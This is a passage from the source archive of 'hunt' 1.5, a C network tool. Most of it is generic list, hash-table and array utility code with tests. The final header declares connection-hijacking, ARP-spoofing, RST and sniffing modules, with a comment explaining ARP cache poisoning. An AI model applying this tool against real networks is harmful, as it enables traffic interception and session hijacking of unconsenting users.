assert(list_count(&l) == MAX_ITEMS); verbose_print(1, "\nOK\n"); return 0; } #endif hunt-1.5/c/list.h100644 0 0 4744 6631316225 11777 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #ifndef __LIST_H #define __LIST_H #include #ifdef _REENTRANT #include #endif struct list_iterator; struct list { void *l_first; void *l_last; int l_off; int l_produce_done; struct list_iterator *l_iter; #ifdef _REENTRANT int l_locked; pthread_mutex_t l_mutex; pthread_cond_t l_notempty; pthread_t l_locked_thr; #endif }; struct list_iterator { struct list *i_list; void *i_cur; struct list_iterator *i_next; }; #define offset_of(str, next) ((char *)(&((str *)0)->next) - (char *)0) #ifdef _REENTRANT #define LIST_INIT(str, next) { NULL, NULL, offset_of(str, next), 0, NULL, \ 0, \ PTHREAD_MUTEX_INITIALIZER, \ PTHREAD_COND_INITIALIZER, \ (pthread_t) 0 } #else #define LIST_INIT(str, next) { NULL, NULL, offset_of(str, next), 0, NULL } #endif #ifdef _REENTRANT #define LIST_MAKE(str, next, first, last) { first, last, \ offset_of((str, (next)), 0, NULL, \ 0, \ PTHREAD_MUTEX_INITIALIZER, \ PTHREAD_COND_INITIALIZER, \ (pthread_t) 0 } #else #define LIST_MAKE(str, next, first, last) { first, last, \ offset_of((str, (next)), 0, NULL } #endif #define LIST_NEXT_PTR(list, member) ((void **)((char *)(member) + (list)->l_off)) #define LIST_THIS_PTR(list, member) ((void *)((char *)(member) - (list)->l_off)) void list_init(struct list *l, int next_offset); void list_flush(struct list *l); void list_push(struct list *l, void *m); void list_enqueue(struct list *l, void *m); void list_produce(struct list *l, void *m); void list_produce_start(struct list *l); void list_produce_done(struct list *l); void list_insert_at(struct list *l, int nr, void *m); void *list_pop(struct list *l); void *list_consume(struct list *l, const struct timespec *absts); void *list_consume_rel(struct list *l, const struct timespec *relts); void *list_peek(struct list *l); void *list_at(struct list *l, int nr); void *list_remove(struct list *l, void *m); void *list_remove_at(struct list *l, int nr); void *list_remove_func(struct list *l, int (*func)(int nr, void *, void *m), void *m); int list_count(struct list *l); void list_lock(struct list *l); void list_unlock(struct list *l); void list_iter_set(struct list_iterator *i, struct list *l); void *list_iter_get(struct list_iterator *i); void list_iter_end(struct list_iterator *i); #endif hunt-1.5/c/Makefile100644 0 0 742 6576177642 12305 0ustar rootrootCFLAGS=-Wall -g PROGS = list_test hash_test array_test all: ${PROGS} list_test: list_test.o gcc -o $@ $^ -lpthread list_test.o: list.c list.h gcc -c $(CFLAGS) -DTEST -D_REENTRANT -o $@ $< hash_test: hash_test.o gcc -o $@ $^ -lpthread hash_test.o: hash.c hash.h gcc -c $(CFLAGS) -DTEST -D_REENTRANT -o $@ $< array_test: array_test.o gcc -o $@ $^ -lpthread array_test.o: array.c array.h gcc -c $(CFLAGS) -DTEST -D_REENTRANT -o $@ $< clean: rm -f ${PROGS} *.o core hunt-1.5/c/spinlock.h100644 0 0 767 6575537426 12646 0ustar rootroot#ifndef __SPINLOCK_H #define __SPINLOCK_H static inline int testandset(volatile int *spinlock) { int ret; __asm__ __volatile__("xchgl %0, %1" : "=r"(ret), "=m"(*spinlock) : "0"(1), "m"(*spinlock)); return ret; } inline void spinlock_lock(volatile int * spinlock) { while (testandset(spinlock)) #if 0 yield(); #else ; #endif } inline void spinlock_unlock(volatile int * spinlock) { #ifndef RELEASE *spinlock = 0; #else RELEASE(spinlock); #endif } #endif hunt-1.5/c/hash.h100644 0 0 3064 6601155014 11733 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #ifndef __HASH_H #define __HASH_H #ifdef _REENTRANT #include #endif #define HASH_MIN_ITEMS 131 #define HASH_MAX_PCT_FULL 80 #define HASH_SPACE_PCT_INC 100 #if 0 #define HASH_FUNC_2 #endif typedef int (*hash_equal_func)(unsigned int key, void *data_ht, void *arg); struct hash_table_item { unsigned int ht_key; void *ht_data; }; struct hash { int h_items; int h_max_items; int h_space_after; struct hash_table_item *h_table; hash_equal_func h_eqfunc; #ifdef _REENTRANT int h_locked; pthread_t h_locked_thr; pthread_mutex_t h_mutex; #endif }; struct hash_iterator { struct hash *i_hash; int i_pos; }; int hash_init(struct hash *h, int max_items, hash_equal_func eqfunc); void *hash_get(struct hash *h, unsigned int key, void *arg); void *hash_remove(struct hash *h, unsigned int key, void *arg); int hash_put(struct hash *h, unsigned int key, void *data); int hash_put_check(struct hash *h, unsigned int key, void *data, void *arg); void hash_lock(struct hash *h); void hash_unlock(struct hash *h); int hash_count(struct hash *h); void hash_free(struct hash *h); /* * hash_iter */ void hash_iter_set(struct hash_iterator *i, struct hash *h); void *hash_iter_get(struct hash_iterator *i, unsigned int *keyptr); void hash_iter_end(struct hash_iterator *i); void hash_iter_lock(struct hash_iterator *i); void hash_iter_unlock(struct hash_iterator *i); #endif hunt-1.5/c/hash.c100644 0 0 24547 7052466466 12000 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include #include #include "hash.h" static int __chose_table_size(int size) { static int ht_size[] = { 37, 47, 79, 97, 163, 197, 331, 397, 673, 797, 1361, 1597, 2729, 3203, 5471, 6421, 10949, 12853, 21911, 25717, 43853, 51437, 87719, 102877, 175447, 205759, 350899, 411527, 701819, 823117, 1403641, 1646237, 2807303, 3292489, 5614657, 6584983, 11229331, 13169977, 22458671, 26339969, 44917381, 52679969, 89834777, 105359939 }; int i; if (size >= ht_size[sizeof(ht_size) / sizeof(ht_size[0]) - 1]) return ht_size[sizeof(ht_size) / sizeof(ht_size[0])]; for (i = 0; ht_size[i] < size; i++) ; return ht_size[i]; } static inline int __when_need_space(int max_items) { return (HASH_MAX_PCT_FULL * max_items) / 100; } static inline int __hash_need_space(struct hash *h) { return h->h_items >= h->h_space_after ? 1 : 0; // return (h->h_items * 100) / h->h_max_items >= HASH_MAX_PCT_FULL ? 1 : 0; } int hash_init(struct hash *h, int max_items, hash_equal_func eqfunc) { if (max_items < HASH_MIN_ITEMS) max_items = HASH_MIN_ITEMS; max_items = __chose_table_size(max_items); h->h_space_after = __when_need_space(max_items); h->h_items = 0; h->h_max_items = max_items; h->h_eqfunc = eqfunc; if (!(h->h_table = malloc(max_items * sizeof(struct hash_table_item)))) return -1; memset(h->h_table, 0, max_items * sizeof(struct hash_table_item)); #ifdef _REENTRANT h->h_locked = 0; pthread_mutex_init(&h->h_mutex, NULL); #endif return 0; } void hash_free(struct hash *h) { if (h->h_table) free(h->h_table); memset(h, 0, sizeof(*h)); } static unsigned int __hv_hash; static unsigned int __hv_hash_save; static unsigned int __hv_max_items; #ifdef HASH_FUNC_2 static unsigned int __hv_d; static unsigned int __hv_d_save; #endif static inline int __hv(unsigned int key, unsigned int max_items) { __hv_max_items = max_items; #ifdef HASH_FUNC_2 __hv_d = 2; #endif return (int)(__hv_hash = key % max_items); } static inline int __hv_peek(void) { return __hv_hash; } static inline int __hv_next(void) { #ifdef HASH_FUNC_2 __hv_hash = (__hv_hash + __hv_d) % __hv_max_items; __hv_d += 2; return (int)__hv_hash; #else return __hv_hash = (__hv_hash + 1) % __hv_max_items; #endif } static inline int __hv_peek_next(void) { #ifdef HASH_FUNC2 return (int)((__hv_hash + __hv_d) % __hv_max_items); #else return (__hv_hash + 1) % __hv_max_items; #endif } static inline void __hv_save_position(void) { #ifdef HASH_FUNC_2 __hv_d_save = __hv_d; #endif __hv_hash_save = __hv_hash; } static inline int __hv_load_position(void) { #ifdef HASH_FUNC_2 __hv_d = __hv_d_save; #endif return (int)(__hv_hash = __hv_hash_save); } static int __hash_find(struct hash *h, unsigned int key, void *arg) { int retval; int hv; struct hash_table_item *h_table; hv = __hv(key, h->h_max_items); h_table = h->h_table; retval = -1; while (h_table[hv].ht_data) { if (h_table[hv].ht_key == key) { if (!h->h_eqfunc || h_table[__hv_peek_next()].ht_data == NULL) { retval = hv; break; } else { if (h->h_eqfunc(key, h_table[hv].ht_data, arg)) { retval = hv; break; } } } hv = __hv_next(); } return retval; } static void __hash_put(struct hash *h, unsigned int key, void *data) { int hv; struct hash_table_item *h_table; hv = __hv(key, h->h_max_items); h_table = h->h_table; while (h_table[hv].ht_data) { hv = __hv_next(); } h_table[hv].ht_key = key; h_table[hv].ht_data = data; h->h_items++; } static int __hash_put_check(struct hash *h, unsigned int key, void *data, void *arg) { int retval; int hv; struct hash_table_item *h_table = h->h_table; retval = __hash_find(h, key, arg); if (retval < 0) { hv = __hv_peek(); h_table[hv].ht_key = key; h_table[hv].ht_data = data; return 0; } else return -1; } static void __hash_remap(struct hash *h, int hv) { int count, i; struct hash_table_item *h_table, *ht_save; __hv_save_position(); h_table = h->h_table; count = 0; while (h_table[hv].ht_data) { count++; hv = __hv_next(); } if (count) { ht_save = alloca(count * sizeof(struct hash_table_item)); hv = __hv_load_position(); i = 0; while (h_table[hv].ht_data) { ht_save[i].ht_key = h_table[hv].ht_key; ht_save[i].ht_data = h_table[hv].ht_data; h_table[hv].ht_key = 0; h_table[hv].ht_data = NULL; i++; hv = __hv_next(); } h->h_items -= count; for (i = 0; i < count; i++) __hash_put(h, ht_save[i].ht_key, ht_save[i].ht_data); } } static void __hash_new_space(struct hash *h) { struct hash_table_item *old_h_table; int old_items, old_max_items; int i; old_items = h->h_items; old_max_items = h->h_max_items; old_h_table = h->h_table; h->h_max_items = __chose_table_size(h->h_max_items + (HASH_SPACE_PCT_INC * h->h_max_items) / 100); if (!(h->h_table = malloc(h->h_max_items * sizeof(struct hash_table_item)))) { h->h_items = old_items; h->h_max_items = old_max_items; h->h_table = old_h_table; return; } h->h_space_after = __when_need_space(h->h_max_items); memset(h->h_table, 0, h->h_max_items * sizeof(struct hash_table_item)); h->h_items = 0; for (i = 0; i < old_max_items; i++) { if (old_h_table[i].ht_data) __hash_put(h, old_h_table[i].ht_key, old_h_table[i].ht_data); } free(old_h_table); } static inline void __lock(struct hash *h) { #ifdef _REENTRANT if (!h->h_locked || h->h_locked_thr != pthread_self()) pthread_mutex_lock(&h->h_mutex); #endif } static inline void __unlock(struct hash *h) { #ifdef _REENTRANT if (!h->h_locked || h->h_locked_thr != pthread_self()) pthread_mutex_unlock(&h->h_mutex); #endif } void *hash_get(struct hash *h, unsigned int key, void *arg) { int hv; void *retval; __lock(h); if ((hv = __hash_find(h, key, arg)) >= 0) retval = h->h_table[hv].ht_data; else retval = NULL; __unlock(h); return retval; } void *hash_remove(struct hash *h, unsigned int key, void *arg) { void *retval; int hv; __lock(h); if ((hv = __hash_find(h, key, arg)) >= 0) { retval = h->h_table[hv].ht_data; h->h_table[hv].ht_key = 0; h->h_table[hv].ht_data = NULL; h->h_items--; __hash_remap(h, __hv_next()); } else retval = NULL; __unlock(h); return retval; } int hash_put(struct hash *h, unsigned int key, void *data) { int retval; __lock(h); if (__hash_need_space(h)) __hash_new_space(h); if (h->h_items == h->h_max_items || !data) retval = -1; else retval = 0; __hash_put(h, key, data); __unlock(h); return retval; } int hash_put_check(struct hash *h, unsigned int key, void *data, void *arg) { int retval; __lock(h); if (__hash_need_space(h)) __hash_new_space(h); if (h->h_items == h->h_max_items || !data) retval = -1; else retval = __hash_put_check(h, key, data, arg); __unlock(h); return retval; } int hash_count(struct hash *h) { int retval; __lock(h); retval = h->h_items; __unlock(h); return retval; } void hash_lock(struct hash *h) { #ifdef _REENTRANT if (!h->h_locked || h->h_locked_thr != pthread_self()) { pthread_mutex_lock(&h->h_mutex); h->h_locked_thr = pthread_self(); h->h_locked = 1; } else h->h_locked++; #endif } void hash_unlock(struct hash *h) { #ifdef _REENTRANT if (--h->h_locked == 0) pthread_mutex_unlock(&h->h_mutex); #endif } /* * * hash_iterator * */ void hash_iter_set(struct hash_iterator *i, struct hash *h) { i->i_hash = h; i->i_pos = 0; } void hash_iter_lock(struct hash_iterator *i) { hash_lock(i->i_hash); } void hash_iter_unlock(struct hash_iterator *i) { hash_unlock(i->i_hash); } void *hash_iter_get(struct hash_iterator *i, unsigned int *keyptr) { struct hash *h; void *data; void *retval; h = i->i_hash; data = NULL; __lock(h); for ( ;i->i_pos < h->h_max_items; i->i_pos++) { data = h->h_table[i->i_pos].ht_data; if (data) break; } if (i->i_pos < h->h_max_items && data) { retval = data; if (keyptr) *keyptr = h->h_table[i->i_pos].ht_key; } else retval = NULL; i->i_pos++; __unlock(h); return retval; } void hash_iter_end(struct hash_iterator *i) { i->i_hash = NULL; i->i_pos = 0; } #ifdef TEST /* * * Test * */ #include #include #include #include #include #include int MAX_ITEMS = 1000; static int verbose = 0; static int verbose_print(int level, char *format, ...) { va_list ap; int retval; if (verbose >= level) { va_start(ap, format); retval = vprintf(format, ap); va_end(ap); return retval; } return 0; } int main(int argc, char *argv[]) { struct hash h; struct hash_iterator hi; int i; int *t, *t_arr; while ((i = getopt(argc, argv, "vi:")) != -1) { switch (i) { case 'v': ++verbose; break; case 'i': MAX_ITEMS = atoi(optarg); break; default: fprintf(stderr, "bad option\n"); exit(1); } } assert(t_arr = malloc(MAX_ITEMS * sizeof(int))); hash_init(&h, 100, NULL); verbose_print(1, "start\n"); for (i = 0; i < MAX_ITEMS; i++) { t = t_arr + i; *t = i; assert(hash_put(&h, i * i, t) == 0); } assert(MAX_ITEMS == hash_count(&h)); verbose_print(1, "\nhash get\n"); for (i = 0; i < MAX_ITEMS; i++) { t = hash_get(&h, i * i, NULL); assert(t); assert(*t == i); verbose_print(2, "%d ", *t); } verbose_print(1, "\niterator test\n"); hash_iter_set(&hi, &h); while ((t = hash_iter_get(&hi, NULL))) verbose_print(2, "%d ", *t); hash_iter_end(&hi); verbose_print(1, "\nremove test\n"); for (i = 0; i < MAX_ITEMS; i += 3) { t = hash_remove(&h, i * i, NULL); assert(t); assert(*t == i); verbose_print(2, "%d ", *t); } verbose_print(1, "\nhash_put_check test\n"); for (i = 0; i < MAX_ITEMS; i += 3) { t = t_arr + i; assert(hash_put_check(&h, i * i, t, NULL) == 0); verbose_print(2, "%d ", *t); } for (i = 0; i < MAX_ITEMS; i += 3) { t = t_arr + i; assert(hash_put_check(&h, i * i, t, NULL) < 0); verbose_print(2, "%d ", *t); } for (i = 0; i < MAX_ITEMS; i += 3) { t = hash_remove(&h, i * i, NULL); assert(t); assert(*t == i); verbose_print(2, "%d ", *t); } verbose_print(1, "\nhash get\n"); for (i = 0; i < MAX_ITEMS; i++) { t = hash_get(&h, i * i, NULL); if ((i % 3) == 0) assert(t == NULL); else { assert(t); assert(*t == i); verbose_print(2, "%d ", *t); } } hash_free(&h); verbose_print(1, "\nOK\n"); return 0; } #endif hunt-1.5/c/array.h100644 0 0 2274 6601155016 12132 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #ifndef __ARRAY_H #define __ARRAY_H #ifdef _REENTRANT #include #endif struct array_item { void *ai_data; }; struct array { struct array_item *a_arr; int a_size; int a_items; #ifdef _REENTRANT int a_locked; pthread_t a_locked_thr; pthread_mutex_t a_mutex; #endif }; #define ARRAY_SPACE_PCT_INC 50 void array_init(struct array *a, int size); void array_free(struct array *a); void *array_at(struct array *a, int nr); void *array_remove(struct array *a, void *m); void *array_remove_at(struct array *a, int nr); int array_put(struct array *a, void *m); void *array_put_at(struct array *a, int nr, void *m); void *array_pop(struct array *a); int array_count(struct array *a); struct array_iterator { struct array *i_array; int i_pos; }; void array_iter_set(struct array_iterator *ai, struct array *a); void *array_iter_get(struct array_iterator *ai); void array_iter_end(struct array_iterator *ai); void array_iter_lock(struct array_iterator *ai); void array_iter_unlock(struct array_iterator *ai); #endif hunt-1.5/c/array.c100644 0 0 13344 6601154755 12156 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include #include "array.h" static inline void update_a_items(struct array *a, int nr, void *m) { if (a->a_arr[nr].ai_data) { if (!m) a->a_items--; } else { if (m) a->a_items++; } } void array_init(struct array *a, int size) { assert(a->a_arr = malloc(size * sizeof(struct array_item))); memset(a->a_arr, 0, size * sizeof(struct array_item)); a->a_size = size; a->a_items = 0; #ifdef _REENTRANT a->a_locked = 0; pthread_mutex_init(&a->a_mutex, NULL); #endif } static inline void __lock(struct array *a) { #ifdef _REENTRANT if (!a->a_locked || a->a_locked_thr != pthread_self()) pthread_mutex_lock(&a->a_mutex); #endif } static inline void __unlock(struct array *a) { #ifdef _REENTRANT if (!a->a_locked || a->a_locked_thr != pthread_self()) pthread_mutex_unlock(&a->a_mutex); #endif } void array_free(struct array *a) { __lock(a); if (a->a_arr) free(a->a_arr); a->a_arr = NULL; a->a_size = 0; a->a_items = 0; __unlock(a); } void *array_at(struct array *a, int nr) { void *retval; __lock(a); if (nr < 0 || nr >= a->a_size) retval = NULL; else retval = a->a_arr[nr].ai_data; __unlock(a); return retval; } void *array_remove_at(struct array *a, int nr) { return array_put_at(a, nr, NULL); } void *array_put_at(struct array *a, int nr, void *m) { void *retval; __lock(a); if (nr < 0 || nr >= a->a_size) retval = NULL; else { update_a_items(a, nr, m); retval = a->a_arr[nr].ai_data; a->a_arr[nr].ai_data = m; } __unlock(a); return retval; } void *array_remove(struct array *a, void *m) { struct array_item *ai; void *retval; __lock(a); if (!m) retval = NULL; else { retval = NULL; for (ai = a->a_arr; ai < a->a_arr + a->a_size; ai++) if (ai->ai_data == m) { ai->ai_data = NULL; a->a_items--; retval = m; break; } } __unlock(a); return retval; } static void need_space(struct array *a) { int new_size; struct array_item *new_arr; if (a->a_items == a->a_size) { new_size = a->a_size + (ARRAY_SPACE_PCT_INC * a->a_size) / 100; new_arr = realloc(a->a_arr, new_size * sizeof(struct array_item)); assert(new_arr); memset(a->a_arr + a->a_size, 0, (new_size - a->a_size) * sizeof(struct array_item)); a->a_arr = new_arr; a->a_size = new_size; } } int array_put(struct array *a, void *m) { struct array_item *ai; int retval; __lock(a); need_space(a); for (ai = a->a_arr; ai < a->a_arr + a->a_size; ai++) { if (ai->ai_data == NULL) { ai->ai_data = m; a->a_items++; break; } } retval = ai - a->a_arr; __unlock(a); return retval; } void *array_pop(struct array *a) { struct array_item *ai; void *retval = NULL; __lock(a); for (ai = a->a_arr; ai < a->a_arr + a->a_size; ai++) { if (ai->ai_data) { retval = ai->ai_data; ai->ai_data = NULL; a->a_items--; break; } } __unlock(a); return retval; } int array_count(struct array *a) { int retval; __lock(a); retval = a->a_items; __unlock(a); return retval; } void array_lock(struct array *a) { #ifdef _REENTRANT if (!a->a_locked || a->a_locked_thr != pthread_self()) { pthread_mutex_lock(&a->a_mutex); a->a_locked_thr = pthread_self(); a->a_locked = 1; } else a->a_locked++; #endif } void array_unlock(struct array *a) { #ifdef _REENTRANT if (--a->a_locked == 0) pthread_mutex_unlock(&a->a_mutex); #endif } void array_iter_lock(struct array_iterator *ai) { array_lock(ai->i_array); } void array_iter_unlock(struct array_iterator *ai) { array_unlock(ai->i_array); } void array_iter_set(struct array_iterator *ai, struct array *a) { ai->i_array = a; ai->i_pos = -1; } void *array_iter_get(struct array_iterator *ai) { struct array *a; void *retval; retval = NULL; a = ai->i_array; __lock(a); while (++ai->i_pos < a->a_size) { if (a->a_arr[ai->i_pos].ai_data) { retval = a->a_arr[ai->i_pos].ai_data; break; } } __unlock(a); return retval; } void array_iter_end(struct array_iterator *ai) { ai->i_array = NULL; ai->i_pos = -1; } #ifdef TEST /* * * Test * */ #include #include #include #include #include #include int MAX_ITEMS = 1000; static int verbose = 0; static int verbose_print(int level, char *format, ...) { va_list ap; int retval; if (verbose >= level) { va_start(ap, format); retval = vprintf(format, ap); va_end(ap); return retval; } return 0; } int main(int argc, char *argv[]) { struct array a; struct array_iterator ai; int i; int *t, *t_arr; while ((i = getopt(argc, argv, "vi:")) != -1) { switch (i) { case 'v': ++verbose; break; case 'i': MAX_ITEMS = atoi(optarg); break; default: fprintf(stderr, "bad option\n"); exit(1); } } assert(t_arr = malloc(MAX_ITEMS * sizeof(int))); array_init(&a, 100); verbose_print(1, "start\n"); for (i = 0; i < MAX_ITEMS; i++) { t = t_arr + i; *t = i; assert(array_put(&a, t) == i); } for (i = 0; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_remove(&a, t) == t); } for (i = 1; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_pop(&a) == t); } for (i = 0; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_put_at(&a, i, t) == NULL); } for (i = 1; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_put(&a, t) == i); } for (i = 0; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_remove_at(&a, i) == t); } array_iter_set(&ai, &a); i = 1; while ((t = array_iter_get(&ai))) { assert(*t == i); i += 2; verbose_print(2, "%d ", *t); } array_iter_end(&ai); printf("\n"); array_free(&a); return 0; } #endif hunt-1.5/hunt.h100644 0 0 42452 7114735036 11600 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #ifndef __HUNT_H #define __HUNT_H #ifndef _WITH_LINUX_KERNEL_HDR #include #include #include #include #include #else #ifdef _REENTRANT # undef _REENTRANT # define _WAS_REENTRANT #endif #include #include #include #include #include #include #include #include #include #include #include #ifdef _WAS_REENTRANT # define _REENTRANT # undef _WAS_REENTRANT #endif #endif #include #include #include #include #include #include #include #include "c/list.h" #include "c/hash.h" #define VERSION "1.5" #define max(a, b) ((a) > (b) ? (a) : (b)) #define min(a, b) ((a) > (b) ? (b) : (a)) #define IP_DF 0x4000 /* Flag: "Don't Fragment" */ #define BUFSIZE 512 #define IPHDR 20 #define TCPHDR 20 extern char *eth_device; extern int verbose; extern unsigned char my_eth_mac[ETH_ALEN]; extern unsigned int my_eth_ip; extern pthread_t main_thread_id; extern sigset_t intr_mask; enum PACKET_TYPE { PACKET_NONE = 0, PACKET_TCP = 1, PACKET_UDP = 2, PACKET_ICMP = 3, PACKET_ARP = 4 }; #define MAX_MODULES 8 #define MODULE_DUMP_CONN 0 #define MODULE_HIJACK_CONN 1 #define MODULE_RSTD 2 #define MODULE_ARP_SPOOF 3 #define MODULE_SNIFF 4 #define MODULE_HOSTUP 5 #define MODULE_ARPSPOOF_TEST 6 #define MAX_PORTS 16 struct packet { char p_raw[ETH_FRAME_LEN]; /* 1514 */ int p_raw_len; int p_use_count; enum PACKET_TYPE p_type; pthread_mutex_t p_mutex; /* pointers to p_raw */ struct ethhdr *p_ethh; struct iphdr *p_iph; struct arphdr *p_arph; /* well, this should be a union with p_iph but * I am lazy to modify all sources right now */ union { struct tcphdr *p_tcph; struct udphdr *p_udph; struct icmphdr *p_icmph; } p_hdr; int p_data_len; char *p_data; time_t p_timestamp; /* * pointers for modules packet list */ struct packet *p_next_free; struct packet *p_next[MAX_MODULES]; void *p_arg[MAX_MODULES]; /* for use in modules */ int p_ipc; /* for interthred communication - * for ordinary packet p_ipc == 0 and p_ipc_arg == NULL */ void *p_ipc_arg; }; typedef void (*ifunc)(struct packet *, void *arg); /* * all is in network byte order */ struct ifunc_item { ifunc func; void *arg; struct ifunc_list *next_tcp; struct ifunc_list *next_udp; struct ifunc_list *next_icmp; struct ifunc_list *next_arp; struct ifunc_list *next_ip; }; extern struct hash conn_table; extern struct hash mac_table; extern struct list l_ifunc_ip; extern struct list l_ifunc_tcp; extern struct list l_ifunc_udp; extern struct list l_ifunc_icmp; extern struct list l_ifunc_arp; extern struct list l_ifunc_fast_tcp; struct host_info { unsigned long next_seq; unsigned long next_d_seq; unsigned char src_mac[ETH_ALEN]; unsigned char dst_mac[ETH_ALEN]; unsigned short window; unsigned short id; unsigned int delta_d_seq; }; struct conn_info { unsigned long src_addr; unsigned long dst_addr; unsigned short src_port; unsigned short dst_port; struct host_info src; struct host_info dst; int use_count; unsigned int update_count; unsigned int ack_storm_notify_sec; pthread_mutex_t mutex; }; struct user_conn_info { unsigned long src_addr; unsigned long dst_addr; unsigned short src_port; unsigned short dst_port; }; struct packet_info { unsigned long src_addr; unsigned long dst_addr; unsigned short src_port; unsigned short dst_port; struct host_info src; struct packet_info *next; }; struct timejob; struct arp_spoof_info { /* * Basic idea is to make dst_addr host to think that host (src_addr) has * different mac address (src_fake_mac), then when dst_addr sent something * to src_addr then it sends it to src_fake_mac. The src/dst naming is little * bit weired and confusing (currently for me as well). * * src_addr IP address I want to spoof/corrupt somewhere in the network * src_mac true MAC address of src_addr * src_mac_valid is src_mac valid? (for spoofing hosts that are down) * src_fake_mac MAC address I want other host (with dst_addr) think src_addr have * * dst_addr IP address where to insert the spoof * dst_mac MAC address belonging to dst_addr * dst_mac_valid is dst_mac valid? (for spoofing hosts that are down) */ unsigned char src_fake_mac[ETH_ALEN]; unsigned char src_mac[ETH_ALEN]; unsigned char dst_mac[ETH_ALEN]; int src_mac_valid; int dst_mac_valid; unsigned int src_addr; unsigned int dst_addr; /* is src_addr router - can forward packets for other hosts * (from/to internet) */ int can_forward; /* 1 if arp_spoof_info belongs to arp spoof range */ int in_range; int use_count; int lock_count; int refresh; struct timejob *tj_refresh; struct timejob *tj_reply; struct arp_spoof_info *next; pthread_cond_t lock_cond; pthread_mutex_t mutex; }; struct arpeth_hdr { unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */ unsigned char ar_sip[4]; /* sender IP address */ unsigned char ar_tha[ETH_ALEN]; /* target hardware address */ unsigned char ar_tip[4]; /* target IP address */ }; struct mac_info { char mac[ETH_ALEN]; pthread_mutex_t mutex; }; struct add_policy_info { unsigned int src_addr; unsigned int src_mask; unsigned int dst_addr; unsigned int dst_mask; unsigned int src_ports[MAX_PORTS + 1]; unsigned int dst_ports[MAX_PORTS + 1]; struct add_policy_info *next; }; extern struct add_policy_info add_policy; extern int linksock; #define ALIGNPOINTERS_ETH(packet, ethh) { \ (ethh) = (struct ethhdr *) ((packet)->p_raw); \ } #define ALIGNPOINTERS_IP(ethh, iph) { \ (iph) = (struct iphdr *) ((char *)ethh + sizeof(struct ethhdr)); \ } #define ALIGNPOINTERS_ARP(ethh, arph) { \ (arph) = (struct arphdr *) ((char *)ethh + sizeof(struct ethhdr)); \ } #define ALIGNPOINTERS_TCP(iph, tcph, pdata) { \ (tcph) = (struct tcphdr *) (((char *) iph) + (iph->ihl << 2)); \ (pdata) = ((char *) tcph) + (tcph->doff << 2); \ } #define ALIGNPOINTERS_UDP(iph, udph, pdata) { \ (udph) = (struct udphdr *) (((char *) iph) + (iph->ihl << 2)); \ (pdata) = ((char *) udph) + sizeof(struct udphdr); \ } #define ALIGNPOINTERS_ICMP(iph, icmph, pdata) { \ (icmph) = (struct icmphdr *) (((char *) iph) + (iph->ihl << 2)); \ (pdata) = ((char *) icmph) + sizeof(struct icmphdr); \ } #define IP_DATA_LENGTH(iph) (ntohs((iph)->tot_len) - ((iph)->ihl << 2)) #define TCP_DATA_LENGTH(iph, tcph) (IP_DATA_LENGTH(iph) - ((tcph)->doff << 2)) #define IP_HDR_LENGTH(iph) ((iph)->ihl << 2) #define TCP_HDR_LENGTH(tcph) ((tcph)->doff << 2) extern inline unsigned int generate_key(unsigned long saddr, unsigned long daddr, unsigned short source, unsigned short dest) { return saddr + daddr + source + dest; } #if 0 extern inline unsigned int generate_key_from_packet(struct packet *p) { return generate_key(ntohl(p->p_iph->saddr), ntohl(p->p_iph->daddr), ntohs(p->p_hdr.p_tcph->source), ntohs(p->p_hdr.p_tcph->dest)); } #endif extern inline unsigned int uci_generate_key(struct user_conn_info *uci) { return generate_key(ntohl(uci->src_addr), ntohl(uci->dst_addr), ntohs(uci->src_port), ntohs(uci->dst_port)); } /* * hunt */ extern pthread_t th_hunt; extern unsigned int pkts_received, pkts_dropped, pkts_unhandled; extern unsigned int bytes_received; extern int hunt_ready; extern pthread_mutex_t mutex_hunt_ready; extern pthread_cond_t cond_hunt_ready; extern int packets_allocated; extern int mac_learn_from_ip; struct packet *packet_new(void); void packet_free(struct packet *p); void packet_want(struct packet *p); void packet_flush(struct list *l); void packet_copy_data(struct packet *dst, struct packet *src); void packet_preallocate(int count); int packet_count(void); void conn_free(struct conn_info *ci); struct conn_info *conn_get(struct user_conn_info *uci); int conn_exist(struct user_conn_info *uci); void *hunt(void *arg); extern int conn_list_mac; extern int conn_list_seq; int conn_list(struct user_conn_info **ruci, char **rbuf, int with_mac, int with_seq); void print_user_conn_info(struct user_conn_info *uci, int count); void remove_conn_if_dont_match(void); void print_mac_table(void); struct mac_info *mac_info_get(unsigned int ip); void mac_info_release(struct mac_info *mi); /* * menu */ int menu_choose_unr(char *label, int min, int max, int dfl); int menu_choose_char(char *label, char *opt, char dfl); int menu_choose_yn(char *label, int dfl); int menu_choose_string(char *label, char *ret_buf, int buf_len, char *dfl); int menu(char *head, char *str_menu, char *label, char *opt, char dfl); void press_key(char *label); unsigned int menu_choose_hostname(char *label, char *dfl); int menu_choose_ports(char *label, int *ret_ports, char *dfl); int menu_choose_mac(char *label, unsigned char *mac_ret, char *dfl); int menu_choose_sdb(char *label, char dfl); int menu_choose_host_mask_ports(char *label, unsigned int *ret_ip, unsigned int *ret_mask, unsigned int *ret_ports, char *dfl); int menu_choose_host_mask_ports_dfl(char *label, unsigned int *ret_ip, unsigned int *ret_mask, unsigned int *ret_ports, unsigned int dfl_ip, unsigned int dfl_mask, int *dfl_ports); void clear_new_conn_ind(void); void print_new_conn_ind(int add_new); #define MODE_SRC 0 #define MODE_DST 1 #define MODE_BOTH 2 int sdb_to_int(char c); char int_to_sdb(int i); char *sdbmode_to_char(int mode); /* * util */ enum TTY_COLOR {COLOR_BLACK = 0, COLOR_RED = 1, COLOR_GREEN = 2, COLOR_BROWN = 